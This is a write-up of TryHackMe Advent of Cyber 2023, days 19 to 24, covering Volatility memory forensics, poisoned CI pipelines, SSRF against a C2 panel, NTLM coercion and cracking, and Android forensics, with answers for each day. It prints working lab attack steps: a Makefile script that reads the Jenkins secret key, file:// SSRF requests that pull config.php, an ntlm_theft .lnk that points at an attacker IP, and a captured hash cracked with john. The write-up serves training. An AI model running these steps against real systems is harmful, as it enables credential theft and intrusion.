AOC23 | Days 19-24

CHALLENGE INFORMATION

Platform: TryHackMe
Event: Advent of Cyber 2023
Days: 19-24

Day-19

CrypTOYminers Sing Volala-lala-latility

Storyline

While monitoring network traffic at the Security Operations Centre, we identify suspicious activity originating from a Linux database server. To investigate this insider threat, we capture a memory dump of the affected server and generate a corresponding Linux profile for analysis.

Memory Forensics Walkthrough

Memory forensics involves analyzing a computer’s volatile RAM to uncover evidence of security incidents, such as running processes and network connections, which are lost when a system is powered down. Because capturing RAM is faster and produces smaller files than full disk imaging, we can use it to identify indicators of compromise (IOCs) more rapidly during an incident response.

To perform this analysis, we use the Volatility framework. Since Linux memory layouts vary by distribution and kernel version, we must use a specific profile that matches the target system’s architecture. After configuring Volatility with the correct Linux profile, we can employ several plugins to investigate the system state:

Practical

# SSH credentials
# username:
ubuntu
# password:
volatility

# different help options
vol.py -h

# display available profiles
# profiles for linux os have to be manually created from the same device the memory dump is from
vol.py --info

# already created profile @ /home/ubuntu/Desktop/Evidence/Ubuntu_5.4.0-163-generic_profile.zip
cd ~/Desktop/Evidence
ls

# copy to where Volatility stores the various profiles for linux
cp Ubuntu_5.4.0-163-generic_profile.zip ~/.local/lib/python2.7/site-packages/volatility/plugins/overlays/linux/

# confirm our profile is set
vol.py --info | grep Ubuntu

# creating a linux profile -- https://beguier.eu/nicolas/articles/security-tips-3-volatility-linux-profiles.html

# ------------------------------------ #

# analyze the dump with `volatility`

# -f:file; --profile:profile; -h:list at all the different plugins that can help with our analysis 
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" -h

# examine the history file -- use the `linux_bash` plugin
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_bash

# examine the running processes on the system -- `linux_pslist` plugin
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_pslist

# ------------------------------------ #

# extract the binary of the process for examination 
# -- `linux_procdump` plugin
# -- extract both the `miner` and the `mysqlserver` proces

# create dir for the extracted process
mkdir extracted

# extract `miner` process; -D: place to store the extracted data (REQUIRED); -p:the process's PID
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_procdump -D extracted -p 10280

# extract `mysqlserver` process
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_procdump -D extracted -p 10291

# ------------------------------------ #

# check the extracted processes
ls extracted/

# create MD5 hash for both extracted binary
md5sum extracted/miner.10280.0x400000
md5sum extracted/mysqlserver.10291.0x400000

# ------------------------------------ #

# file extraction -- check on cron files -- enumerate files with the `linux_enumerate_files` plugin
# focus our search with `grep`
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_enumerate_files | grep -i cron

# interesting crontab
# output: 0xffff9ce9b78280e8                    132687 /var/spool/cron/crontabs/elfie

# extract the interesting file using the inode value; -O:name teh file output; -i:inode value
vol.py -f linux.mem --profile="LinuxUbuntu_5_4_0-163-generic_profilex64" linux_find_file -i 0xffff9ce9b78280e8 -O extracted/elfie

# inspect the file
cat extracted/elfie

# check for the suspicious url within the miner process
strings extracted/miner.10280.0x400000 | grep http://

Questions and Answers

Question-1: What is the exposed password that we find from the bash history output?

NEhX4VSrN7sV

Question-2: What is the PID of the miner process that we find?

10280

Question-3: What is the MD5 hash of the miner process?

153a5c8efe4aa3be240e5dc645480dee

Question-4: What is the MD5 hash of the mysqlserver process?

c586e774bb2aa17819d7faae18dad7d1

Question-5: Use the command strings extracted/miner.<PID from question 2>.0x400000 | grep http://. What is the suspicious URL? (Fully defang the URL using CyberChef)

hxxp[://]mcgreedysecretc2[.]thm

Question-6: After reading the elfie file, what location is the mysqlserver process dropped in on the file system?

/var/tmp/.system-python3.8-Updates/mysqlserver

Question-7: If you enjoyed this task, feel free to check out the Volatility room.

No answer needed

Day-20

Advent of Frostlings

Storyline

The Best Festival Company has discovered that the source control and automation pipelines of its newly acquired subsidiary, AntarctiCrafts, have been tampered with, possibly by a malicious actor or rogue accounts. We will investigate this scenario to understand poisoned pipeline execution (PPE) within a GitLab environment. Our goal is to identify how the build processes were bypassed and implement measures to mitigate these attacks.

Overview

GitLab is a collaboration platform centering on Git for version control and CI/CD pipelines to automate the building, testing, and deployment of code. This process is integrated into the Software Development Life Cycle (SDLC) and enhanced by DevSecOps, which embeds security scanning and validation into the pipeline to reduce vulnerabilities before code reaches production.

A Poisoned Pipeline Execution (PPE) attack occurs when an attacker manipulates the build process by injecting malicious code into the pipeline, exploiting trust boundaries within the supply chain. In this scenario, we act as DevSecOps engineers to identify and mitigate a PPE attack launched by “Frostlings” against the AntarctiCrafts Advent Calendar build process.

We will use a provided GitLab instance to examine the gitlab-ci.yml configuration file. This file defines the automation workflow, including dependency installation, the cleanup of old Docker containers, and a test stage that deploys an Apache (httpd) container on port 9080 to validate the site before it is pushed to the main branch.

Practical

Login creds for GitLab:

# username: DelfSecOps
# password: TryHackMe!

Configuration file – .gitlab-ci.yml:

workflow:
  rules:
    - if: $CI_COMMIT_BRANCH

install_dependencies:
  stage: build
  script:
    - echo "This is the installation step"

before_script:
  - |
    # Check if docker is running then terminate to free port
    CONTAINER_NAME="affectionate_saha"
    if docker ps -a --format "{{.Names}}" | grep -q "^$CONTAINER_NAME$"; then
      echo "Stopping existing container..."
      docker stop $CONTAINER_NAME
      docker rm $CONTAINER_NAME
    fi

test:
  stage: test
  script:
    - whoami
    - pwd
    - ls -la    
    - ls -la ./public/
    - echo "Testing some Christmas things yes, yes..."
    - >
      echo "<html><head><title>Advent of Cyber Calendar</title><style>* {margin: 0;padding: 0;}.imgbox {display: grid;height: 100%;}.center-fit {max-width: 100%;max-height: 100vh;margin: auto;}</style></head>
      <body><div class='imgbox'><img class='center-fit'src='images/Day_20_defaced_calendar.png' alt='Advent Calendar BFC'></div></body></html>" > ./public/index.html
    
    - docker run -d --name $CONTAINER_NAME -v $(pwd)/public/:/usr/local/apache2/htdocs/ -p 9081:80 httpd:latest
  artifacts:
    paths:
      - public/
  rules:
    - if: $CI_COMMIT_BRANCH == "main"

Questions and Answers

Question-1: What is the handle of the developer responsible for the merge changes?

@BadSecOps

Question-2: What port is the defaced calendar site server running on?

9081

Question-3: What server is the malicious server running on?

apache

Question-4: What message did the Frostlings leave on the defaced site?

frostlings rule

Question-5: What is the commit ID of the original code for the Advent Calendar site?

986b7407

Question-6: If you enjoyed today’s challenge, please check out the Source Code Security room.

No answer needed

Question-7: Detective Frosteau believes it was an account takeover based on the activity. However, Tracy might have left some crumbs.

No answer needed

Day-21

Yule be Poisoned: A Pipeline of Insecure Code!

Storyline

After securing the primary automation pipelines, we discovered additional components within the environment used to build and extend those pipelines. We must now address the risk that an attacker could abuse these secondary build systems to indirectly poison the already secured pipeline.

Overview

This section explains the components of a CI/CD pipeline, specifically focusing on the interaction between Gitea for version control and Jenkins for automation. We learn about Indirect Poisoned Pipeline Execution (PPE), a vulnerability that occurs when an attacker cannot modify a protected pipeline configuration file but can modify other files – such as a Makefile – that the pipeline executes.

To demonstrate this, we attempt to modify the Jenkinsfile in the gift-wrapper-pipeline repository to execute the whoami command, but we find that the repository is branch-protected. Instead, we clone the gift-wrapper repository, which lacks these protections, and inject the malicious command into its Makefile. By pushing this change and manually triggering a build in Jenkins, we can execute arbitrary commands on the build server and verify the result in the build logs.

Practical

# Gitea credentials
guest:password123

# Jenkins credentials
admin:admin

# Gitea platform
http://10.10.95.201:3000

# Jenkins platform
http://10.10.95.201:8080

# cloning the `gift-wrapper-pipeline` repo
git clone http://10.10.95.201:3000/McHoneyBell/gift-wrapper-pipeline.git

# change line 13 of the Jenkinsfile from sh 'make || true' to sh 'whoami'
# add; commit and push
git add .
git commit -m "change make to whoami"
git push

# push will fail because it's main-protected
# creating a new branch is similarly branch-protected too

# clone the `gift-wrapper` repo
http://10.10.95.201:3000/McHoneyBell/gift-wrapper.git

# modify the to_pip.sh file accordingly
# save, add, commit, push -- this time it updates successfully

# run it on the jenkins page --> `gift-wrapper-build`
# check the output --> console output

Makefile:

build:
	./to_pip.sh

to_pip.sh:

#!/bin/bash

mkdir -p tests
rm -rf dist/

# get the kernel version
uname -a
# grab the secret key
cat /var/lib/jenkins/secret.key

Setup and Usage:

python3 setup.py sdist bdist_wheel

# for testing
cat ~/.home/.pypirc_test
twine upload --repository testpypi dist/*

# for production
twine upload dist/*

Questions and Answers

Question-1: What Linux kernel version is the Jenkins node?

5.4.0-1029-aws

Question-2: What value is found from /var/lib/jenkins/secret.key?

90e748eafdd2af4746a5ef7941e63272f24f1e33a2882f614ebfa6742e772ba7

Question-3: Visit our Discord (opens in new tab)!

No answer needed

Day-22

Jingle Your SSRF Bells: A Merry Command & Control Hackventure

Storyline

While recovering compromised servers, the team detects a large volume of data being exfiltrated to a known malicious server, suggesting the presence of an insider-created backdoor. We will assist Detective Frost-eau from law enforcement in identifying and taking down this command and control server.

Overview

This challenge teaches the fundamentals of Server-Side Request Forgery (SSRF), a vulnerability where an attacker tricks a server into making unauthorized requests to internal or external resources. We learn about basic, blind, and semi-blind SSRF, as well as the prerequisites for exploitation, such as vulnerable input points and a lack of proper input validation.

To take control of the Command and Control (C2) server, we first identify a vulnerable endpoint in the API documentation: getClientData.php. We observe that this endpoint accepts a url parameter to fetch files from infected agents. By manipulating this parameter and using the file:// scheme, we can force the server to read local files. We will use this technique to access config.php, extract the administrative credentials, and successfully log into the C2 panel.

Practical

# How to add a hostname

# If you are connected via VPN or AttackBox, you can add the hostname `mcgreedysecretc2.thm` 
# by first opening the host file, depending on your host operating system.
# Windows -- `C:\Windows\System32\drivers\etc\hosts`
# Ubuntu or AttackBox -- `/etc/hosts`

# Open the host file and add a new line at the end of the file in the format: `10.10.90.193 mcgreedysecretc2.thm`
# Save the file and type `http://mcgreedysecretc2.thm` in the browser to access the website.

# Fetch the `index.php` via the API
# `file:///path/to/any/file` is often used to access a file located on your local file system
#  usually an attacker can access sensitive files like `/etc/passwd` and connection strings(`config.php`, `connection.php`)
`http://10.10.90.193/getClientData.php?url=file:////var/www/html/index.php`

# Migitation Measures

# To prevent SSRF exploitation, the following mitigations are suggested:
# - Employing strict input validation and sanitisation to prevent malicious input.
# - Using allow lists to control which domains and IPs the application can access.
# - Applying network segmentation to restrict requests to authorised resources
# - Following the principle of least privilege, granting the minimum permissions required for system operations.

# Exploitation phase

# grabbing the index.php file
curl http://10.10.90.193/getClientData.php?url=file:////var/www/html/index.php

# grabbing the login creds
curl http://10.10.90.193/getClientData.php?url=file:////var/www/html/config.php

# Found login creds
mcgreedy:mcgreedy!@#$%

Questions and Answers

Question-1: Is SSRF the process in which the attacker tricks the server into loading only external resources (yea/nay)?

nay

Question-2: What is the C2 version?

1.1

Question-3: What is the username for accessing the C2 panel?

mcgreedy

Question-4: What is the flag value after accessing the C2 panel?

THM{<redacted-flag>}

Question-5: What is the flag value after stopping the data exfiltration from the McSkidy computer?

THM{<redacted-flag>}

Question-6: If you enjoyed this task, feel free to check out the SSRF room.

No answer needed

Day-23

Relay All the Way

Storyline

McGreedy has changed the server password, locking McSkidy out of her own system. Since online brute-force attacks have failed, we must find an alternative way to recover the credentials. We know the server utilizes a network file share, so our objective is to trick McGreedy into disclosing the new password through that shared resource.

Overview

This challenge focuses on NTLM authentication and the use of authentication coercion attacks to capture sensitive credentials. We explore how corporate network resources, specifically shared file folders, can be leveraged by attackers to exfiltrate data or stage attacks if proper security controls are not enforced.

We learn that the Server Message Block (SMB) protocol governs file sharing in Windows environments and often utilizes NetNTLM authentication. In this process, a server sends a challenge to a client, which the client encrypts with their password hash to create a response. We can intercept these challenges using tools like Responder to perform man-in-the-middle attacks via LLMNR, NBT-NS, or WPAD poisoning. However, since VPNs often mitigate these local network intercepts, we use authentication coercion to force a target system or user to authenticate to an attacker-controlled host.

To execute this, we use the ntlm_theft tool to create a malicious .lnk file that triggers an automatic authentication request to our IP when viewed. We upload this file to a writable network share and run Responder to listen for incoming connections. Once a user interacts with the file, we capture their NetNTLMv2 hash and use John the Ripper with a provided wordlist to crack the hash and recover the plaintext password, ultimately granting us RDP access to the host.

Practical

Coercing the connectee:

# create a file to coerce the user to authenticate to the server -- `ntlm_theft` tool
cd /root/Rooms/AoC2023/Day23/ntlm_theft/
# create an `lnk` file
python3 ntlm_theft.py -g lnk -s 10.10.252.14 -f stealthy

## add the `lnk` file to the network share
cd stealthy

# connect to the share as a guest
smbclient //10.10.47.165/ElfShare/ -U guest%
# upload the file
smb: \>put stealthy.lnk
# list files for verification
smb: \>dir
# grab the `greedykeys.txt` file
get greedykeys.txt

## run `Responder` to listen for incoming authentication attempts -- for vpn --> use `tun` instead of `ens5`
responder -I ens5

Intercepted challenge:

[SMB] NTLMv2-SSP Client   : ::ffff:10.10.47.165
[SMB] NTLMv2-SSP Username : ELFHQSERVER\Administrator
[SMB] NTLMv2-SSP Hash     : Administrator::ELFHQSERVER:cba93c5afdb86070:83D4C3C0C10AE614633D4FCCEC224E89:010100000000000080A648EFCB35DA01EC174886161D92950000000002000800370039004A004D0001001E00570049004E002D004B004C004E004400390049004800360043003100570004003400570049004E002D004B004C004E00440039004900480036004300310057002E00370039004A004D002E004C004F00430041004C0003001400370039004A004D002E004C004F00430041004C0005001400370039004A004D002E004C004F00430041004C000700080080A648EFCB35DA01060004000200000008003000300000000000000000000000003000008A9FB34C4187B72445CFA0AA9888D9AF0D7CEAAACB37D681589E23366D0E86BD0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E003200350032002E00310034000000000000000000

Store the user hash in ~/hash.txt.

Administrator::ELFHQSERVER:cba93c5afdb86070:83D4C3C0C10AE614633D4FCCEC224E89:010100000000000080A648EFCB35DA01EC174886161D92950000000002000800370039004A004D0001001E00570049004E002D004B004C004E004400390049004800360043003100570004003400570049004E002D004B004C004E00440039004900480036004300310057002E00370039004A004D002E004C004F00430041004C0003001400370039004A004D002E004C004F00430041004C0005001400370039004A004D002E004C004F00430041004C000700080080A648EFCB35DA01060004000200000008003000300000000000000000000000003000008A9FB34C4187B72445CFA0AA9888D9AF0D7CEAAACB37D681589E23366D0E86BD0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E003200350032002E00310034000000000000000000

Bruteforce the hash with the grabbed wordlist:

john --wordlist=greedykeys.txt hash.txt

# Found credentials
Administrator:GreedyGrabber1@

Connecting to the DC to grab the flag:

xfreerdp +clipboard /u:Administrator /v:10.10.47.165 /p:GreedyGrabber1@

Questions and Answers

Question-1: What is the name of the AD authentication protocol that makes use of tickets?

Kerberos

Question-2: What is the name of the AD authentication protocol that makes use of the NTLM hash?

NetNTLM

Question-3: What is the name of the tool that can intercept these authentication challenges?

Responder

Question-4: What is the password that McGreedy set for the Administrator account?

GreedyGrabber1@

Question-5: What is the value of the flag that is placed on the Administrator’s desktop?

THM{<redacted-flag>}

Question-6: If you enjoyed this task, feel free to check out the Compromising Active Directory module!

No answer needed

Day-24

You Are on the Naughty List, McGreedy

Storyline

Detective Frost-eau identifies Tracy McGreedy as a suspect and believes she communicated with an accomplice. To uncover digital evidence, the detective arranges for McGreedy’s company-owned smartphone to be seized and sent to Forensic McBlue for laboratory analysis.

Overview

This section introduces the fundamentals of digital forensics, explaining the importance of maintaining a chain of custody and the necessity of acquiring raw, bit-for-bit images of storage devices to ensure evidence remains admissible in court. We learn about four primary acquisition methods: static, live, logical, and sparse. The text details specific procedures for computers, such as using write blockers for powered-off machines to prevent data tampering and performing live acquisitions on powered-on machines to capture volatile memory (RAM) and bypass encryption.

The tutorial further explores smartphone forensics, highlighting the challenges posed by full-disk and file-based encryption in Android and iOS. To demonstrate these concepts, we follow a practical case where a researcher uses a Faraday bag to isolate a device and leverages the Android Debug Bridge (adb) to extract data. We see how gaining root access allows for the creation of a full raw image via the adb pull command. Finally, the goal is achieved by importing this image into Autopsy, where specific ingest modules are used to analyze the smartphone’s data.

Practical

# VM access
# username: administrator
# password: jNgQTDN7
# ip: 10.10.223.239

adb shell
# verify that we have root access
whoami
# filter the mounted devices -- concentrate only on the `data` directory
mount | grep data
# example device: /dev/block/dm-0

# get a raw dump of the data partition
# pull the device partition and save it to the specified local file
adb pull /dev/block/dm-0 Android-McGreedy.img

Questions and Answers

Question-1: One of the photos contains a flag. What is it?

THM{<redacted-flag>}

File Views > File Types > By Extension > Images > board2.jpg

Question-2: What name does Tracy use to save Detective Frost-eau’s phone number?

Detective Carrot-Nose

File Views > File Types > By Extension > Images > 57_task_thumbnail.png

Question-3: One SMS exchanged with Van Sprinkles contains a password. What is it?

chee7AQu

Data Artifacts > Messages

Question-4: If you have enjoyed this room please check out the Autopsy room.

No answer needed

The Confrontation - Jolly Judgment Day

We assist McSkidy’s team in a final courtroom confrontation to present gathered evidence against McGreedy to Santa. The objective is to secure a conviction by matching the correct evidence to Santa’s questions.

To win, we must achieve a conviction score higher than 100 without exhausting Santa’s patience, which decreases with incorrect answers and increases with correct ones.

Practical

# Game - Answers

# 1. Information from ChatBot
Purple Snow
# 2. Notes in MS-DOS Computer
Gr33dster
# 3. Dropped USBs
mcgreedysecretc2.thm
# 4. Malware Sample
stash.mcgreedy.thm
# 5. Cryptominer
mcgreedysecretc2.thm
# 6. Forensic Image of McGreedy's Phone
Van Sprinkles

Questions and Answers

Question-1: What is the final flag?

THM{<redacted-flag>}

The End - We the Kings of Cyber Are

The story concludes with the restoration of peace and production at the polar toy factories following the defeat of McGreedy. While the team celebrates the successful merger and the security of the holidays, the narrative hints at future conflicts, noting that a defeated McGreedy is plotting revenge and the Frosty Five have successfully leveraged the situation for their own sinister gains.

Question-1: Congratulations on finishing Advent of Cyber 2023! Only one thing left…

No answer needed

Feedback - We wish you a Merry Survey

The event concludes with a congratulatory message to the participants of Advent of Cyber 2023. To complete the challenge, we are asked to provide feedback via a survey, which grants the final flag.

Question-1: What flag did you get after completing the survey?

THM{<redacted-flag>}